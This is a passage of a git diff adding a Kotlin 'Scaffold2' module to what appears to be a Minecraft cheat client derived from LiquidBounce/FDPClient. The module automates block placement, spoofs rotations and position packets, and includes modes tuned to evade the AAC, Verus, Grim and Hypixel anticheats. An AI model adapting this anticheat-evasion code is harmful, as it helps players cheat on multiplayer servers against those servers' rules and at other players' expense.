true) + if (!(obj.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && obj.blockPos == neighbor)) { + zSearch += 0.1 + continue + } + if (placeRotation == null || RotationUtils.getRotationDifference(rotation) < RotationUtils.getRotationDifference(placeRotation.rotation)) placeRotation = PlaceRotation(PlaceInfo(neighbor, side.opposite, hitVec), rotation) + zSearch += 0.1 + } + ySearch += 0.1 + } + xSearch += 0.1 + } + } + if (placeRotation == null) return false + if (!towerrotationsValue.equals("None") && towerStatus) { + lockRotation = when (towerrotationsValue.get().lowercase()) { + "better" -> { + Rotation(mc.thePlayer.rotationYaw + customYawValue.get(), placeRotation.rotation.pitch) + } + "aac" -> { + Rotation(mc.thePlayer.rotationYaw + (if (mc.thePlayer.movementInput.moveForward < 0) 0 else 180) + aacYawValue.get(), placeRotation.rotation.pitch) + } + "vanilla" -> { + placeRotation.rotation + } + "static1" -> { + val caluyaw = ((placeRotation.rotation.yaw / 45).roundToInt() * 45).toFloat() + Rotation(caluyaw, placeRotation.rotation.pitch) + } + "static2" -> { + if ((MovementUtils.movingYaw / 30).roundToInt() % 2 == 1) { + Rotation(((MovementUtils.direction * 180f / Math.PI).toFloat() + 180), placeRotation.rotation.pitch) + } else { + Rotation(((MovementUtils.direction * 180f / Math.PI).toFloat() + 135), placeRotation.rotation.pitch) + } + } + "custom" -> { + Rotation(mc.thePlayer.rotationYaw + customtowerYawValue.get(), customtowerPitchValue.get()) + } + "backwards" -> { + val calcyaw = ((MovementUtils.movingYaw - 180) / 45).roundToInt() * 45 + var calcpitch = 0f + calcpitch = if (calcyaw % 90 == 0) { + 82f + } else { + 78f + } + Rotation(calcyaw.toFloat(), calcpitch) + } + "advanced" -> { + var advancedYaw = 0f + var advancedPitch = 0f + advancedYaw = when (advancedYawModeValue.get().lowercase()) { + "offset" -> placeRotation.rotation.yaw + advancedYawOffsetValue.get() + "static" -> mc.thePlayer.rotationYaw + advancedYawStaticValue.get() + "vanilla" -> placeRotation.rotation.yaw + "round" -> ((placeRotation.rotation.yaw / advancedYawRoundValue.get()).roundToInt() * advancedYawRoundValue.get()).toFloat() + "roundstatic" -> (((mc.thePlayer.rotationYaw + advancedYawStaticValue.get()) / advancedYawRoundValue.get()).roundToInt() * advancedYawRoundValue.get()).toFloat() + "movedirection" -> MovementUtils.movingYaw - 180 + "offsetmove" -> MovementUtils.movingYaw - 180 + advancedYawMoveOffsetValue.get() + else -> placeRotation.rotation.yaw + } + advancedPitch = when (advancedPitchModeValue.get().lowercase()) { + "offset" -> placeRotation.rotation.pitch + advancedPitchOffsetValue.get() + "static" -> advancedPitchStaticValue.get() + "vanilla" -> placeRotation.rotation.pitch + else -> placeRotation.rotation.pitch + } + Rotation(advancedYaw, advancedPitch) + } + else -> return false // this should not happen + } + if (silentRotationValue.get()) { + val limitedRotation = + RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, lockRotation!!, rotationSpeed) + RotationUtils.setTargetRotation(limitedRotation, keepLengthValue.get()) + } else { + mc.thePlayer.rotationYaw = lockRotation!!.yaw + mc.thePlayer.rotationPitch = lockRotation!!.pitch + } + } + if (!rotationsValue.equals("None") && !towerStatus) { + lockRotation = when (rotationsValue.get().lowercase()) { + "aac" -> { + Rotation(mc.thePlayer.rotationYaw + (if (mc.thePlayer.movementInput.moveForward < 0) 0 else 180) + aacYawValue.get(), placeRotation.rotation.pitch) + } + "vanilla", "snap", "backsnap" -> { + placeRotation.rotation + } + "static1" -> { + val caluyaw = ((placeRotation.rotation.yaw / 45).roundToInt() * 45).toFloat() + Rotation(caluyaw, placeRotation.rotation.pitch) + } + "static2" -> { + if ((MovementUtils.movingYaw / 30).roundToInt() % 3 == 0) { + if (static2BoostValue.get() && mc.thePlayer.onGround) { + mc.thePlayer.motionX *= 1.07 + mc.thePlayer.motionZ *= 1.07 + } + Rotation(((MovementUtils.direction * 180f / Math.PI).toFloat() + 135), placeRotation.rotation.pitch) + } else { + Rotation(((MovementUtils.direction * 180f / Math.PI).toFloat() + 180), placeRotation.rotation.pitch) + } + } + "custom" -> { + Rotation(mc.thePlayer.rotationYaw + customYawValue.get(), customPitchValue.get()) + } + "better" -> { + Rotation(mc.thePlayer.rotationYaw + customYawValue.get(), placeRotation.rotation.pitch) + } + "backwards" -> { + val calcyaw = ((MovementUtils.movingYaw - 180) / 45).roundToInt() * 45 + val calcpitch: Float = if (calcyaw % 90 == 0) { + 82f + } else { + 78f + } + Rotation(calcyaw.toFloat(), calcpitch) + } + + "advanced" -> { + var advancedYaw = 0f + advancedYaw = when (advancedYawModeValue.get().lowercase()) { + "offset" -> placeRotation.rotation.yaw + advancedYawOffsetValue.get() + "static" -> mc.thePlayer.rotationYaw + advancedYawStaticValue.get() + "vanilla" -> placeRotation.rotation.yaw + "round" -> ((placeRotation.rotation.yaw / advancedYawRoundValue.get()).roundToInt() * advancedYawRoundValue.get()).toFloat() + "roundstatic" -> (((mc.thePlayer.rotationYaw + advancedYawStaticValue.get()) / advancedYawRoundValue.get()).roundToInt() * advancedYawRoundValue.get()).toFloat() + "movedirection" -> MovementUtils.movingYaw - 180 + "roundmovedir" -> (((placeRotation.rotation.yaw - (MovementUtils.movingYaw - 180)) / advancedYawRoundValue.get()).roundToInt() * advancedYawRoundValue.get()).toFloat() + (MovementUtils.movingYaw - 180f) + "offsetmove" -> MovementUtils.movingYaw - 180 + advancedYawMoveOffsetValue.get() + else -> placeRotation.rotation.yaw + } + val advancedPitch: Float = when (advancedPitchModeValue.get().lowercase()) { + "offset" -> placeRotation.rotation.pitch + advancedPitchOffsetValue.get() + "static" -> advancedPitchStaticValue.get() + "vanilla" -> placeRotation.rotation.pitch + "backwards" -> if (((MovementUtils.movingYaw - 180) / 45).roundToInt() * 45 % 90 == 0) { 82f } else { 78f} + else -> placeRotation.rotation.pitch + } + Rotation(advancedYaw, advancedPitch) + } + else -> return false // this should not happen + } + if (silentRotationValue.get()) { + val limitedRotation = + RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, lockRotation!!, rotationSpeed) + if (rotationsValue.equals("Snap") || rotationsValue.equals("BackSnap")) { + RotationUtils.setTargetRotation(limitedRotation, 0) + } else { + RotationUtils.setTargetRotation(limitedRotation, keepLengthValue.get()) + } + } else { + mc.thePlayer.rotationYaw = lockRotation!!.yaw + mc.thePlayer.rotationPitch = lockRotation!!.pitch + } + } + + if ((sameYValue.equals("Telly") || sameYValue.equals("TellyUp")) && mc.thePlayer.onGround) { + RotationUtils.setTargetRotation(Rotation(MovementUtils.movingYaw, RotationUtils.serverRotation!!.pitch)) + } + targetPlace = placeRotation.placeInfo + return true + } + + /** + * @return hotbar blocks amount + */ + private val blocksAmount: Int + get() { + var amount = 0 + for (i in 36..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (itemStack != null && itemStack.item is ItemBlock && InventoryUtils.canPlaceBlock((itemStack.item as ItemBlock).block)) { + amount += itemStack.stackSize + } + } + return amount + } + + private val rotationSpeed: Float + get() = (Math.random() * (maxRotationSpeedValue.get() - minRotationSpeedValue.get()) + minRotationSpeedValue.get()).toFloat() + + @EventTarget + fun onJump(event: JumpEvent) { + if (towerStatus) { + event.cancelEvent() + } + } + + val canSprint: Boolean + get() = MovementUtils.isMoving() && when (sprintValue.get().lowercase()) { + "always", "dynamic", "vulcan", "hypixelfast", "hypixelskywars" -> true + "onground" -> mc.thePlayer.onGround + "offground" -> !mc.thePlayer.onGround + "hypixel" -> false + "alternating" -> mc.thePlayer.ticksExisted % 2 == 0 + else -> false + } + + override val tag: String + get() = if (towerStatus) { "Tower" } else { "Normal" } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold2.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold2.kt new file mode 100644 index 0000000..915b3e5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold2.kt @@ -0,0 +1,1551 @@ +/* + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ +package net.ccbluex.liquidbounce.features.module.modules.world.scaffold + +import kevin.utils.* +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.block.BlockUtils.canBeClicked +import net.ccbluex.liquidbounce.utils.block.BlockUtils.isReplaceable +import net.ccbluex.liquidbounce.utils.block.PlaceInfo +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.minecraft.block.* +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.settings.GameSettings +import net.minecraft.init.Blocks +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.* +import net.minecraft.stats.StatList +import net.minecraft.util.* +import net.minecraft.util.MathHelper.wrapAngleTo180_double +import net.minecraft.util.MathHelper.wrapAngleTo180_float +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.util.* +import java.util.concurrent.ThreadLocalRandom +import kotlin.math.* + +@ModuleInfo(name = "Scaffold2", category = ModuleCategory.WORLD) +class Scaffold2 : Module() { + private val autodis = BoolValue("AutoDisable",true) + // private val modeValue = ListValue("Mode", arrayOf("Normal", "TellyBridge"), "Normal") + private val towerModeValue = ListValue( + "TowerMode", + arrayOf("Jump", "Jump2", "Motion", "Motion2", "ConstantMotion", "MotionTP", "MotionTP2", "Packet", "Teleport", "AAC3.3.9", "AAC3.6.4", "Verus"), + "Jump" + ) + + //private val matrixValue = BooleanValue("TowerMatrix", false) + private val towerNoMoveValue = BoolValue("TowerNoMove",false) + + // ConstantMotion + private val constantMotionValue = FloatValue("TowerConstantMotion", 0.42f, 0.1f, 1f).displayable { towerModeValue.equals( "ConstantMotion") } + private val constantMotionJumpGroundValue = FloatValue("TowerConstantMotionJumpGround", 0.79f, 0.76f, 1f).displayable { towerModeValue.equals( "ConstantMotion") } + + // Teleport + private val teleportHeightValue = FloatValue("TowerTeleportHeight", 1.15f, 0.1f, 5f).displayable{ towerModeValue.equals( "Teleport" )} + private val teleportDelayValue = IntegerValue("TowerTeleportDelay", 0, 0, 20).displayable { towerModeValue.equals( "Teleport") } + private val teleportGroundValue = BoolValue("TowerTeleportGround", true).displayable { towerModeValue.equals( "Teleport") } + private val teleportNoMotionValue = BoolValue("TowerTeleportNoMotion", false).displayable { towerModeValue.equals( "Teleport") } + + private val towerFakeJump = BoolValue("TowerFakeJump",true) + + // Placeable delay + private val placeDelay = BoolValue("PlaceDelay", true) + + // Delay + private val maxDelayValue: IntegerValue = object : IntegerValue("MaxDelay", 0, 0, 1000, { placeDelay.get() }) { + override fun onChanged(oldValue: Int, newValue: Int) { + val minDelay = minDelayValue.get() + if (minDelay > newValue) set(minDelay) + } + } + + private val minDelayValue: IntegerValue = object : IntegerValue("MinDelay", 0, 0, 1000, { placeDelay.get() }) { + override fun onChanged(oldValue: Int, newValue: Int) { + val maxDelay = maxDelayValue.get() + if (maxDelay < newValue) set(maxDelay) + } + } + + // Autoblock + private val autoBlockValue = ListValue("AutoBlock", arrayOf("Off", "Pick", "Spoof", "LiteSpoof", "Switch"), "Spoof") + + // Basic stuff + private val sprintValue = ListValue("Sprint", arrayOf("Always", "Dynamic", "Smart", "OnGround", "OffGround", "OFF"), "Always") + private val towerNoSprintSwitch = BoolValue("TowerNoSprintSwitch", false) + val canSprint: Boolean + get() = MovementUtils.isMoving() && when (sprintValue.get().lowercase()) { + "always", "dynamic" -> true + "onground" -> mc.thePlayer.onGround + "offground" -> !mc.thePlayer.onGround + else -> false + } + private val autoJump = BoolValue("AutoJump",false) + private val jumpDelay = IntegerValue("AutoJumpDelay", 0, -1,5000) { autoJump.get() } + private val speedTelly = BoolValue("SpeedTelly", false) + private val timeToJump = MSTimer() + private val sameYValue = BoolValue("SameY", false) + private val swingValue = BoolValue("Swing", true) + private val searchValue = BoolValue("Search", true) + private val downValue = BoolValue("Down", false) +// private val placeModeValue = ListValue("PlaceTiming", arrayOf("Update", "Pre", "Post"), "Update") + + // Eagle + private val eagleValue = ListValue("Eagle", arrayOf("Normal", "Smart", "OnlyChangeRot", "RotationStrict", "Silent", "Off"), "Normal") + private val blocksToEagleValue = IntegerValue("BlocksToEagle", 0, 0, 10).displayable { eagleValue.equals( "Normal") || eagleValue.equals( "Smart") } + private val edgeDistanceValue = FloatValue("EagleEdgeDistance", 0f, 0f, 0.5f) { eagleValue.equals( "Normal") || eagleValue.equals( "Smart" )} + + // Expand + private val expandMode = ListValue("ExpandMode", arrayOf("LiquidBounce", "Sigma"), "LiquidBounce") + private val expandOnlyMove = BoolValue("ExpandOnlyMove", true) + private val expandOnlyMoveOnlyGround = BoolValue("ExpandOnlyMoveOnlyGround", true).displayable { expandOnlyMove.get() } + private val expandLengthValue = IntegerValue("ExpandLength", 0, 0, 6) + + private val shouldExpand + get() = expandLengthValue.get()!=0&&!(jumpCheckValue.get()&&mc.gameSettings.keyBindJump.isKeyDown)&&!(downCheckValue.get()&&shouldGoDown)&&(!expandOnlyMove.get()||(MovementUtils.isMoving()||(expandOnlyMoveOnlyGround.get()&&!mc.thePlayer.onGround))) + + // Rotation Options + private val rotationValues = arrayOf("Off", "Normal", "AAC", "GodBridge", "MoveDirection", "Custom") + private val rotationsValue = ListValue("Rotations", rotationValues, "Normal") + private val towerRotationsValue = ListValue("TowerRotations", rotationValues, "Normal") + private val aacYawOffsetValue = IntegerValue("AACYawOffset", 0, 0, 90) + private val customYawValue = IntegerValue("CustomYaw", -145, -180, 180).displayable { rotationsValue.equals( "Custom") } + private val customPitchValue = FloatValue("CustomPitch", 82.4f, -90f, 90f).displayable { rotationsValue.equals( "Custom") } + private val customTowerYawValue = IntegerValue("CustomTowerYaw", -145, -180, 180).displayable { towerRotationsValue.equals( "Custom") } + private val customTowerPitchValue = FloatValue("CustomTowerPitch", 79f, -90f, 90f).displayable { towerRotationsValue.equals( "Custom") } + private val silentRotationValue = BoolValue("SilentRotation", true) + private val keepRotationValue = BoolValue("KeepRotation", true) + private val keepLengthValue = IntegerValue("KeepRotationLength", 0, 0, 20) { !keepRotationValue.get() } + + private val towerState + get() = mc.gameSettings.keyBindJump.isKeyDown + private val rotationsOn + get() = !if (towerState) towerRotationsValue.equals( "Off") else rotationsValue.equals( "Off") + + // XZ/Y range + private val searchMode = ListValue("XYZSearch", arrayOf("Auto", "AutoCenter", "Manual", "Sigma"), "AutoCenter") + private val xzRangeValue = FloatValue("xzRange", 0.8f, 0f, 1f).displayable { searchMode.equals( "Manual") } + private var yRangeValue = FloatValue("yRange", 0.8f, 0f, 1f).displayable { searchMode.equals( "Manual") } + private val minDistValue = FloatValue("MinDist", 0.0f, 0.0f, 0.2f).displayable { searchMode.equals( "Manual") } + + // Search Accuracy + private val searchAccuracyValue: IntegerValue = IntegerValue("SearchAccuracy", 8, 1, 16) + + //Tower XZ/Y range + private val towerSearchMode = ListValue("Tower-XYZSearch", arrayOf("Auto", "AutoCenter", "Manual", "Sigma"), "AutoCenter") + private val towerXZRangeValue = FloatValue("Tower-xzRange", 0.8f, 0f, 1f).displayable { towerSearchMode.equals( "Manual") } + private var towerYRangeValue = FloatValue("Tower-yRange", 0.8f, 0f, 1f) { towerSearchMode.equals( "Manual") } + private val towerMinDistValue = FloatValue("Tower-MinDist", 0.0f, 0.0f, 0.2f) { towerSearchMode.equals( "Manual") } + + // Tower Search Accuracy + private val towerSearchAccuracyValue: IntegerValue = IntegerValue("Tower-SearchAccuracy", 8, 1, 16).displayable { towerSearchMode.equals( "Manual") } as IntegerValue + + // Turn Speed + private val maxTurnSpeedValue: FloatValue = object : FloatValue("MaxTurnSpeed", 180f, 1f, 180f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = minTurnSpeedValue.get() + if (v > newValue) set(v) + if (maximum < newValue) { + set(maximum) + } else if (minimum > newValue) { + set(minimum) + } + } + } + private val minTurnSpeedValue: FloatValue = object : FloatValue("MinTurnSpeed", 180f, 1f, 180f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = maxTurnSpeedValue.get() + if (v < newValue) set(v) + if (maximum < newValue) { + set(maximum) + } else if (minimum > newValue) { + set(minimum) + } + } + } + // 跳跃检测 + private val jumpCheckValue = BoolValue("JumpCheck",false) + // 向下检测 + private val downCheckValue = BoolValue("DownCheck",true) + + // Zitter + private val zitterMode = ListValue("Zitter", arrayOf("Off", "Teleport", "Smooth"), "Off") + private val zitterSpeed = FloatValue("ZitterSpeed", 0.13f, 0.1f, 0.3f).displayable { !zitterMode.equals( "Off") } + private val zitterStrength = FloatValue("ZitterStrength", 0.05f, 0f, 0.2f).displayable { !zitterMode.equals( "Off") } + + // Game + private val timerValue = FloatValue("Timer", 1f, 0.1f, 10f) + private val speedModifierValue = FloatValue("SpeedModifier", 1f, 0f, 2f) + private val motionSpeedEnabled = BoolValue("MotionSpeedSet", false) + private val motionSpeedValue = FloatValue("MotionSpeed", 0.1f, 0.05f, 1f) + private val slowValue = BoolValue("Slow", false) + private val slowSpeed = FloatValue("Slow-MaxSpeed", 0.6f, 0.05f, 1f) { slowValue.get() } + + // Safety + private val sameYJumpUp = BoolValue("SameYJumpUp", true) + private val safeWalkValue = BoolValue("SafeWalk", false) + private val airSafeValue = BoolValue("AirSafe", false).displayable { safeWalkValue.get() } + private val round45 = BoolValue("RotationYawRound45", false) + private val grimACRotation = BoolValue("GrimACRotation", false) + private val extraClick = ListValue("ExtraClick", arrayOf("None", "RandomCPS"), "None") + private val extraClickMaxCPS: FloatValue = object : FloatValue("ClickMaxCPS", 15f, 1f,20f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue < extraClickMinCPS.get()) set(extraClickMinCPS.get()) + } + + fun isSupported(): Boolean = extraClick.equals( "RandomCPS") + } + private val extraClickMinCPS: FloatValue = object : FloatValue("ClickMinCPS", 5f, 1f, 20f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue > extraClickMaxCPS.get()) set(extraClickMaxCPS.get()) + } + + fun isSupported(): Boolean = extraClick.equals( "RandomCPS") + } + private val clickTimer = MSTimer() + private var extraClickDelay = 0L + private val hitableCheck = ListValue("HitableCheck", arrayOf("Strict", "Simple", "Normal", "None"), "Normal") + private val invalidPlaceFacingMode = ListValue("WhenPlaceFacingInvalid", arrayOf("CancelIt", "FixIt", "IgnoreIt"), "FixIt") + + // Visuals + private val counterDisplayValue = BoolValue("Counter", true) + private val markValue = BoolValue("Mark", false) + +// Variables + + // Target block + private var targetPlace: PlaceInfo? = null + private var lastPlace: BlockPos? = null + + // Rotation lock + private var lockRotation: Rotation? = null + private var lockRotationTimer = TickTimer() + private var aacRotationPositive = true + private var grimRotationBoolean = false + + // Launch position + private var launchY = 0 + private var facesBlock = false + + // AutoBlock + private var slot = 0 + + // Zitter Direction + private var zitterDirection = false + + // Delay + private val delayTimer = MSTimer() + private val zitterTimer = MSTimer() + private var delay = 0L + + // Eagle + private var placedBlocksWithoutEagle = 0 + private var eagleSneaking: Boolean = false + + // Bypass + private var lastEmptyBlockUnder = false + private fun tickForceForward() { + val tickForceForward = true + } + + // Downwards + private var shouldGoDown: Boolean = false + + // ENABLING MODULE + override fun onEnable() { + if (mc.thePlayer == null) return + launchY = mc.thePlayer!!.posY.toInt() + slot = mc.thePlayer!!.inventory.currentItem + facesBlock = false + aacRotationPositive = ThreadLocalRandom.current().nextBoolean() + + val blockSlot = InventoryUtils.findAutoBlockBlock() + if (blockSlot != -1) { + when (autoBlockValue.get().lowercase()) { + "pick" -> { + mc.thePlayer!!.inventory.currentItem = blockSlot - 36 + mc.playerController.updateController() + } + "spoof" -> { + if (blockSlot - 36 != slot) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(blockSlot - 36)) + } + } + } + } + } + + private fun fakeJump() { + if(!towerFakeJump.get()) return + mc.thePlayer!!.isAirBorne = true + mc.thePlayer!!.triggerAchievement(StatList.jumpStat) + } + + private var jumpGround = 0.0 + private val timer = TickTimer() + + fun onStrafe(event: StrafeEvent) { + if (sprintValue.equals("Smart")) { + RotationUtils.targetRotation!!.applyStrafeToPlayer(event,false) + event.cancelEvent() + } + } + /** + * Move player + */ + private fun move() { + val thePlayer = mc.thePlayer ?: return + + if (towerNoMoveValue.get()){ + mc.thePlayer.motionX = .0 + mc.thePlayer.motionZ = .0 + } + + when (towerModeValue.get().lowercase(Locale.getDefault())) { + "jump2" -> { + if (thePlayer.onGround) { + fakeJump() + thePlayer.motionY = 0.42 + } else if (thePlayer.motionY < 0) { + fakeJump() + thePlayer.motionY = 0.42 + } + } + "motion" -> if (thePlayer.onGround) { + fakeJump() + thePlayer.motionY = 0.42 + } else if (thePlayer.motionY < 0.1) { + thePlayer.motionY = -0.3 + } + "motion2" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.42 + } else if (mc.thePlayer.motionY < 0.18) { + mc.thePlayer.motionY -= 0.02 + } + } + "motiontp" -> if (thePlayer.onGround) { + fakeJump() + thePlayer.motionY = 0.42 + } else if (thePlayer.motionY < 0.23) { + thePlayer.setPosition(thePlayer.posX, truncate(thePlayer.posY), thePlayer.posZ) + } + "motiontp2" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.42 + } else if (mc.thePlayer.motionY < 0.23) { + mc.thePlayer.setPosition(mc.thePlayer.posX, truncate(mc.thePlayer.posY), mc.thePlayer.posZ) + mc.thePlayer.onGround = true + mc.thePlayer.motionY = 0.42 + } + } + "packet" -> if (thePlayer.onGround && timer.hasTimePassed(2)) { + fakeJump() + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + thePlayer.posX, + thePlayer.posY + 0.42, thePlayer.posZ, false + ) + ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + thePlayer.posX, + thePlayer.posY + 0.753, thePlayer.posZ, false + ) + ) + thePlayer.setPosition(thePlayer.posX, thePlayer.posY + 1.0, thePlayer.posZ) + timer.reset() + } + "teleport" -> { + if (teleportNoMotionValue.get()) { + thePlayer.motionY = 0.0 + } + if ((thePlayer.onGround || !teleportGroundValue.get()) && timer.hasTimePassed(teleportDelayValue.get())) { + fakeJump() + thePlayer.setPositionAndUpdate( + thePlayer.posX, + thePlayer.posY + teleportHeightValue.get(), + thePlayer.posZ + ) + timer.reset() + } + } + "constantmotion" -> { + if (thePlayer.onGround) { + fakeJump() + jumpGround = thePlayer.posY + thePlayer.motionY = constantMotionValue.get().toDouble() + } + if (thePlayer.posY > jumpGround + constantMotionJumpGroundValue.get()) { + fakeJump() + thePlayer.setPosition( + thePlayer.posX, + truncate(thePlayer.posY), + thePlayer.posZ + ) + thePlayer.motionY = constantMotionValue.get().toDouble() + jumpGround = thePlayer.posY + } + } + "aac3.3.9" -> { + if (thePlayer.onGround) { + fakeJump() + thePlayer.motionY = 0.4001 + } + mc.timer.timerSpeed = 1f + if (thePlayer.motionY < 0) { + thePlayer.motionY -= 0.00000945 + mc.timer.timerSpeed = 1.6f + } + } + "aac3.6.4" -> if (thePlayer.ticksExisted % 4 == 1) { + thePlayer.motionY = 0.4195464 + thePlayer.setPosition(thePlayer.posX - 0.035, thePlayer.posY, thePlayer.posZ) + } else if (thePlayer.ticksExisted % 4 == 0) { + thePlayer.motionY = -0.5 + thePlayer.setPosition(thePlayer.posX + 0.035, thePlayer.posY, thePlayer.posZ) + } + "verus" -> { + if (thePlayer.ticksExisted % 2 == 0) { + thePlayer.setPosition(thePlayer.posX, floor((thePlayer.posY + 0.5) * 2) / 2, thePlayer.posZ) + } + thePlayer.motionY = 0.0 + thePlayer.onGround = true + } + } + } + + private fun sameY(): Boolean = sameYValue.get() && (!sameYJumpUp.get()||!mc.gameSettings.keyBindJump.isKeyDown) + +// UPDATE EVENTS + + /** @param */ + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (autodis.get()) { + if (blocksAmount == 0) { + FDPClient.moduleManager[Scaffold2::class.java]!!.state = false + alert("Disable Scaffold") + } + } + + //if (event.eventState == UpdateState.OnUpdate) return + + if (!sameY()) launchY = mc.thePlayer!!.posY.toInt() + + mc.timer.timerSpeed = timerValue.get() + shouldGoDown = + downValue.get() && !sameY() && GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) && blocksAmount > 1 + if (shouldGoDown) { + mc.gameSettings.keyBindSneak.pressed = false + } + if (speedTelly.get()) { + // okay... + autoJump.set(true) + eagleValue.set("Off") + keepRotationValue.set(false) + keepLengthValue.set(10) + rotationsValue.set("Normal") + sprintValue.set("OnGround") + jumpDelay.set(0) + if (!mc.thePlayer.onGround) mc.thePlayer.jumpTicks = 2 + } + // AutoJump + if (mc.thePlayer.onGround + && MovementUtils.isMoving() + && !mc.thePlayer.isInLava + && !mc.thePlayer.isInWater + && !mc.thePlayer.isInWeb + && !mc.thePlayer.isOnLadder + && !mc.gameSettings.keyBindJump.isKeyDown + && autoJump.get() + && timeToJump.hasTimePassed(jumpDelay.get().toLong()) + && (!speedTelly.get() || mc.gameSettings.keyBindForward.isKeyDown)){ + if (speedTelly.get()) { + val rot = RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + Rotation(mc.thePlayer.rotationYaw, 30f), + RandomUtils.nextFloat(145f, 180f), + ) + RotationUtils.setTargetRotation(rot, 3) + lockRotation = null + targetPlace = null + if (abs(wrapAngleTo180_float(rot.yaw) - wrapAngleTo180_double(Math.toDegrees(MovementUtils.direction))) < 55f) { + tickForceForward() + mc.thePlayer.isSprinting = true + if (mc.thePlayer.jumpTicks == 0) mc.thePlayer.jump() + } + return + } + if (mc.thePlayer.jumpTicks == 0) mc.thePlayer.jump() + timeToJump.reset() + } + if (slowValue.get()) { + mc.thePlayer!!.motionX *= slowSpeed.get() + mc.thePlayer!!.motionZ *= slowSpeed.get() + } + + // Lock Rotation + if (rotationsOn + && (keepRotationValue.get() || !lockRotationTimer.hasTimePassed(keepLengthValue.get())) + && lockRotation != null + ) { + setRotation(lockRotation!!) + lockRotationTimer.update() + } + + if (mc.thePlayer!!.onGround) { + when (zitterMode.get().lowercase(Locale.getDefault())) { + //"off" -> return //LiquidBounce B73, WTF is this?? if you turn off zitter u can't use eagle?????? + "smooth" -> { + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight)) { + mc.gameSettings.keyBindRight.pressed = false + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft)) { + mc.gameSettings.keyBindLeft.pressed = false + } + if (zitterTimer.hasTimePassed(100)) { + zitterDirection = !zitterDirection + zitterTimer.reset() + } + if (zitterDirection) { + mc.gameSettings.keyBindRight.pressed = true + mc.gameSettings.keyBindLeft.pressed = false + } else { + mc.gameSettings.keyBindRight.pressed = false + mc.gameSettings.keyBindLeft.pressed = true + } + } + "teleport" -> { + MovementUtils.strafe(zitterSpeed.get()) + val yaw: Double = + Math.toRadians(mc.thePlayer!!.rotationYaw + if (zitterDirection) 90.0 else -90.0) + mc.thePlayer!!.motionX -= sin(yaw) * zitterStrength.get() + mc.thePlayer!!.motionZ += cos(yaw) * zitterStrength.get() + zitterDirection = !zitterDirection + } + } + } + grimRotationBoolean = lockRotation != null + update() + // Eagle + handleEagle() + if (rotationsOn + && round45.get() + && (keepRotationValue.get() || !lockRotationTimer.hasTimePassed(keepLengthValue.get())) + && lockRotation != null + ) { + if (targetPlace == null) { + var yaw = 0F + for (i in 0..7) { + if (abs( + RotationUtils.getAngleDifference( + lockRotation!!.yaw, + (i * 45).toFloat() + ) + ) < abs(RotationUtils.getAngleDifference(lockRotation!!.yaw, yaw)) + ) { + yaw = wrapAngleTo180_float((i * 45).toFloat()) + } + } + lockRotation!!.yaw = yaw + } + setRotation(lockRotation!!) + lockRotationTimer.update() + } + if ((facesBlock || !rotationsOn || hitableCheck.equals( "None"))/* && placeModeValue equal "Update"*/) { + place() + } + + mc.thePlayer.isSprinting = canSprint + } + + @EventTarget(ignoreCondition = true) + fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null) return + val packet = event.packet + if ((packet) is C09PacketHeldItemChange) { + slot = packet.slotId + } + } + + @EventTarget + fun onMotion(event: MotionEvent) { + val eventState: EventState = event.eventState + + if (motionSpeedEnabled.get()) + MovementUtils.setMotion(motionSpeedValue.get().toDouble()) + + // Face block +// if ((facesBlock || !rotationsOn || hitableCheck equal "None") && placeModeValue.get() +// .equals(eventState.stateName, true) +// ) +// place() + + if (eventState == EventState.PRE) { + timer.update() + val update = if (!autoBlockValue.get().equals("Off", ignoreCase = true)) { + InventoryUtils.findAutoBlockBlock() != -1 || mc.thePlayer.heldItem != null && mc.thePlayer.heldItem!!.item is ItemBlock + } else { + 